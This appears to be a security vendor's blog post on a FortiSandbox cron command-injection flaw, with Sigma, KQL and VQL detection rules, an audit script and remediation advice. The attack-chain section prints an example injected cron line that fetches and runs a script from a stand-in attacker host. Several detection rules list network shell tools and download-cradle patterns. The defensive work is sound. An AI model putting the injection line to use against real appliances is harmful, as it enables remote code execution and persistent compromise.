The Zero Day Initiative has published ZDI-26-645, disclosing a command injection vulnerability in Fortinet FortiSandbox tracked as CVE-2026-84387 with a CVSS score of 7.2 (High). The flaw lives in the write_remote_backup_to_crontab functionality: the cronValue parameter passed when scheduling remote backups is written into the system's crontab without sufficient sanitization, allowing an attacker to inject arbitrary shell commands that execute with the privileges of the FortiSandbox backend.
One detail matters here and defenders should note the discrepancy: ZDI's advisory title references "unauthenticated code execution," while the advisory body states authentication is required to reach the vulnerable function. Plan for the worst case — treat management interfaces as exposed until patched — but understand that in the documented case, an attacker needs valid credentials (or a hijacked session) on the FortiSandbox management plane before they can weaponize this. That is a low bar in environments where sandbox appliances run with default, weak, or domain-integrated credentials.
Why FortiSandbox Is a High-Value Target
FortiSandbox is not a peripheral device. It sits in the middle of your detection pipeline:
- It receives files, URLs, and payloads from FortiGate firewalls, FortiMail, FortiWeb, and endpoints for detonation and analysis.
- It holds copies of everything your organization has submitted — including malware samples, internal documents, and potentially sensitive attachments.
- It frequently has privileged network positioning and trust relationships with other Fortinet fabric components.
- Its management interfaces are historically under-monitored compared to endpoints and domain controllers.
An attacker who gains code execution on a FortiSandbox appliance gains a stealthy persistence point inside the security stack itself — the last place most SOCs look for an implant. Command injection via crontab is particularly dangerous because it hands the attacker built-in persistence: the injected command lands in a cron job that re-executes on a schedule, surviving service restarts.
Technical Analysis
Affected component: Fortinet FortiSandbox remote backup scheduling (write_remote_backup_to_crontab)
CVE: CVE-2026-84387
Advisory: ZDI-26-645
CVSS: 7.2 (High) — consistent with an authenticated command injection yielding privileged code execution
Root cause: Improper neutralization of special elements in the cronValue parameter (CWE-78, OS Command Injection). The parameter is concatenated into a crontab entry without escaping shell metacharacters (;, |, `, $(), newlines), so an attacker-controlled value breaks out of the intended cron expression and executes arbitrary commands.
Attack Chain (Defender's View)
- Access: Attacker authenticates to the FortiSandbox management interface (web GUI or API) using valid credentials — phished, default, reused, or harvested from another compromised system.
- Injection: Attacker submits a remote backup configuration request with a malicious
cronValue, e.g. a cron timing field containing an appended command such as* * * * * root curl http://attacker/implant.sh | shor a newline-delimited second cron line. - Write: The unsanitized value is written into a crontab file (typically under
/etc/crontab,/etc/cron.d/, or a user crontab under/var/spool/cron/). - Execution: The cron daemon picks up the entry and executes the injected command — usually as root or a privileged service account.
- Persistence: Because the payload lives in cron, it re-fires on schedule, giving the attacker durable, restart-resistant access.
Exploitation Status
At the time of writing, this vulnerability has been disclosed through ZDI's coordinated process with an assigned CVE, and there is no confirmed in-the-wild exploitation and no CISA KEV listing. However, Fortinet appliances are among the most aggressively targeted device classes in the industry — historically, Fortinet CVEs move from disclosure to mass exploitation in days. Treat this as pre-exploitation intelligence and act accordingly. Do not wait for a KEV entry.
Detection & Response
The reliable detection surfaces for this flaw are: (1) the crontab files themselves, (2) process lineage on the appliance (web/management processes spawning shells or scheduling tools), and (3) management-plane logs showing backup configuration changes. FortiSandbox syslog can be forwarded to your SIEM — if you are not already ingesting it into Sentinel or your platform of choice, do that first.
Sigma Rules
These rules target Linux telemetry. If your FortiSandbox or adjacent Linux management hosts forward auditd/sysmon-for-linux logs, these apply directly; adapt the logsource to your pipeline.
---
title: FortiSandbox Management Process Spawning Shell or Cron Utility
id: 3f8a1c92-7b4e-4d21-9c05-a2e6f0b1d834
status: experimental
description: Detects shell interpreters or cron manipulation utilities spawned by web, API, or management-service processes on FortiSandbox-class appliances, consistent with CVE-2026-84387 command injection via the cronValue parameter.
references:
- http://www.zerodayinitiative.com/advisories/ZDI-26-645/
- https://attack.mitre.org/techniques/T1059/004/
author: Security Arsenal
date: 2026/06/20
tags:
- attack.execution
- attack.t1059.004
- attack.t1053.003
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/httpd'
- '/nginx'
- '/apache2'
- '/python'
- '/python3'
- '/fmgd'
- '/cmdb'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
- '/dash'
- '/crontab'
- '/curl'
- '/wget'
- '/nc'
- '/ncat'
- '/python'
- '/perl'
condition: selection_parent and selection_child
falsepositives:
- Legitimate backup jobs invoking curl or wget for remote transfer
- Vendor maintenance scripts executed during firmware upgrades
level: high
---
title: Crontab Entry Containing Shell Metacharacters or Download Cradles
id: 9c2e57ab-1d68-4f30-b7a4-5e91c6d2f047
status: experimental
description: Detects creation or modification of crontab entries containing shell metacharacters, piped download cradles, or encoded commands — the persistence artifact left by CVE-2026-84387 cronValue injection.
references:
- http://www.zerodayinitiative.com/advisories/ZDI-26-645/
- https://attack.mitre.org/techniques/T1053/003/
author: Security Arsenal
date: 2026/06/20
tags:
- attack.persistence
- attack.t1053.003
- attack.t1105
logsource:
category: file_event
product: linux
detection:
selection_path:
TargetFilename|contains:
- '/etc/crontab'
- '/etc/cron.d/'
- '/var/spool/cron/'
selection_content:
Contents|contains:
- '| sh'
- '| bash'
- 'curl '
- 'wget '
- 'base64'
- ';'
- '&&'
- '$('
condition: selection_path and selection_content
falsepositives:
- Complex but legitimate backup scripts scheduled via cron
- Configuration management (Ansible/Puppet) writing cron entries
level: critical
---
title: Interactive Crontab Modification by Non-Root Service Account
id: 61b4d83f-2a95-4e07-c138-8d0a3b5e7962
status: experimental
description: Detects the crontab binary or direct writes to cron spool directories executed by accounts associated with web or management services rather than system administrators.
references:
- http://www.zerodayinitiative.com/advisories/ZDI-26-645/
- https://attack.mitre.org/techniques/T1053/003/
author: Security Arsenal
date: 2026/06/20
tags:
- attack.persistence
- attack.t1053.003
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/crontab'
filter_admin:
User:
- 'root'
- 'ansible'
condition: selection and not filter_admin
falsepositives:
- Service accounts legitimately scheduling maintenance tasks
level: medium
Microsoft Sentinel / Defender KQL
FortiSandbox events typically arrive in Sentinel via CEF (CommonSecurityLog) or Syslog through a forwarder. This hunt looks for management-plane backup configuration activity correlated with cron or shell execution artifacts. Run it over at least the last 30 days — the ZDI disclosure may not be the first time this was attempted.
// Hunt 1: FortiSandbox syslog/CEF events referencing remote backup configuration changes
let lookback = 30d;
union isfuzzy=true
(CommonSecurityLog
| where TimeGenerated > ago(lookback)
| where DeviceVendor == "Fortinet" and DeviceProduct contains "Sandbox"
| where Message has_any ("remote backup", "remote_backup", "crontab", "cron", "backup schedule")
| project TimeGenerated, SourceIP, SourceHostName, DeviceAction, Message, DeviceEventClassID),
(Syslog
| where TimeGenerated > ago(lookback)
| where ProcessName has_any ("crond", "crontab", "httpd", "nginx") or SyslogMessage has_any ("remote backup", "crontab", "cronValue")
| project TimeGenerated, HostName, ProcessName, SyslogMessage, SeverityLevel)
| sort by TimeGenerated desc;
// Hunt 2: Cron persistence artifact — shell commands or download cradles appearing in cron contexts
let lookback2 = 30d;
Syslog
| where TimeGenerated > ago(lookback2)
| where ProcessName in~ ("crond", "cron", "crontab")
| where SyslogMessage has_any ("curl", "wget", "| sh", "|sh", "base64", "nc ", "/dev/tcp", "$(", ";sh", "; sh")
| project TimeGenerated, HostName, ProcessName, SyslogMessage
| sort by TimeGenerated desc;
// Hunt 3: Authentication to FortiSandbox management plane from unusual sources (credential abuse precursor)
let lookback3 = 30d;
CommonSecurityLog
| where TimeGenerated > ago(lookback3)
| where DeviceVendor == "Fortinet" and DeviceProduct contains "Sandbox"
| where Message has_any ("login", "logon", "authenticate")
| summarize LoginCount = count(), DistinctSources = dcount(SourceIP) by SourceUserName, SourceIP, bin(TimeGenerated, 1h)
| where LoginCount > 10
| sort by LoginCount desc;
Velociraptor VQL
If you have Velociraptor deployed on the Linux management hosts or can acquire the appliance filesystem through an IR collection, hunt the cron artifacts and process lineage directly:
-- Hunt: cron persistence artifacts and injected entries (CVE-2026-84387)
-- Reads all standard cron locations and flags entries containing shell/download indicators
LET cron_paths = {
SELECT FullPath, read_file(filename=FullPath) AS Content
FROM glob(globs=['/etc/crontab', '/etc/cron.d/*', '/var/spool/cron/*', '/var/spool/cron/crontabs/*'])
}
SELECT FullPath, Content
FROM cron_paths
WHERE Content =~ '(curl|wget|\|\s*(ba)?sh|base64|/dev/tcp|\$\(|;\s*sh|&&)'
-- Hunt: suspicious child processes of web/management services
SELECT Pid, Ppid, Name, Exe, CommandLine, Username, CreateTime
FROM pslist()
WHERE Name =~ '^(sh|bash|dash|crontab|curl|wget|nc|ncat|perl|python)$'
AND Ppid IN (
SELECT Pid FROM pslist()
WHERE Name =~ '(httpd|nginx|apache|fmgd|cmdb|python)'
)
Verification and Hardening Script
Run this on the FortiSandbox appliance via SSH (if shell access is enabled in your deployment) or on any Linux management/jump host that orchestrates sandbox configuration. It audits cron state and flags injection indicators.
#!/bin/bash
# CVE-2026-84387 / ZDI-26-645 — FortiSandbox cron injection audit
# Run as root. Review output before taking action on any flagged entry.
echo "=== [1] FortiSandbox firmware version ==="
get system status 2>/dev/null || grep -i version /etc/*release 2>/dev/null
echo -e "\n=== [2] All crontab files with injection indicators ==="
for f in /etc/crontab /etc/cron.d/* /var/spool/cron/* /var/spool/cron/crontabs/*; do
[ -f "$f" ] || continue
if grep -qE '(curl|wget|\|[[:space:]]*(ba)?sh|base64|/dev/tcp|\$\(|;[[:space:]]*sh|&&)' "$f"; then
echo "[!] SUSPICIOUS: $f"
grep -nE '(curl|wget|\|[[:space:]]*(ba)?sh|base64|/dev/tcp|\$\(|;[[:space:]]*sh|&&)' "$f"
fi
done
echo -e "\n=== [3] Recently modified cron files (last 30 days) ==="
find /etc/crontab /etc/cron.d /var/spool/cron -type f -mtime -30 -exec ls -la {} \; 2>/dev/null
echo -e "\n=== [4] Cron-related processes with network activity ==="
ss -tlnp 2>/dev/null | grep -iE 'cron|httpd|nginx' || netstat -tlnp 2>/dev/null | grep -iE 'cron|httpd|nginx'
echo -e "\n=== [5] Recent management-plane logins (check for unexpected sources) ==="
execute log filter category event 2>/dev/null && execute log display 2>/dev/null | grep -iE 'login|backup|cron' | tail -50 || grep -iE 'login|backup|cron' /var/log/messages 2>/dev/null | tail -50
echo -e "\n=== [6] Verify management interface is NOT internet-exposed ==="
get system interface 2>/dev/null | grep -iE 'allowaccess|ip ' || ip addr show
echo -e "\nAudit complete. Any entry flagged in [2] requires immediate IR triage — preserve the file before removal."
Remediation
- Patch immediately. Apply the fixed FortiSandbox firmware release referenced in Fortinet's PSIRT advisory for CVE-2026-84387 (cross-reference ZDI-26-645 at http://www.zerodayinitiative.com/advisories/ZDI-26-645/ and Fortinet's advisory feed at https://www.fortiguard.com/psirt). Confirm the exact fixed build for your train (e.g., 4.x/5.x) in the vendor advisory before scheduling the maintenance window — FortiSandbox firmware upgrades require a reboot and will interrupt detonation services.
- Isolate the management plane now. Until patched, restrict FortiSandbox management GUI/API access to a dedicated, hardened management VLAN or jump host. Remove any path from the internet or general user segments. This single step neutralizes the practical risk of an authenticated-injection flaw.
- Rotate all credentials with access to the appliance — local admin accounts, API tokens, SNMP strings, and any LDAP/RADIUS service accounts. Assume credential replay is the attacker's entry vector.
- Audit cron state on every appliance using the script above. Any unauthorized entry is not a cleanup task — it is an incident. Preserve the crontab, capture a forensic image, and hunt backward for the configuration change and the session that made it.
- Disable remote backup scheduling temporarily if your operational workflow permits. Removing the vulnerable function's attack surface is a valid compensating control while you stage the firmware upgrade.
- Forward FortiSandbox logs to your SIEM if you haven't already. Without centralized telemetry, detection rules like the ones above are academic.
- Validate after patching: attempt to reproduce the injection with a benign
cronValuepayload (e.g., an appendedtouch /tmp/zdi26645test) in a lab appliance to confirm the fix sanitizes input.
Bottom Line
CVSS 7.2 understates the positional value of this target. A sandbox appliance is a trusted, privileged, rarely-monitored node in your detection fabric, and this flaw ships with built-in cron persistence. Fortinet CVEs are exploited at scale faster than almost any other vendor's — the window between disclosure and weaponization is measured in days, not quarters. Patch the firmware, lock down the management interface, rotate credentials, and audit every crontab on every appliance this week.
Related Resources
Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub
Is your security operations ready?
Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.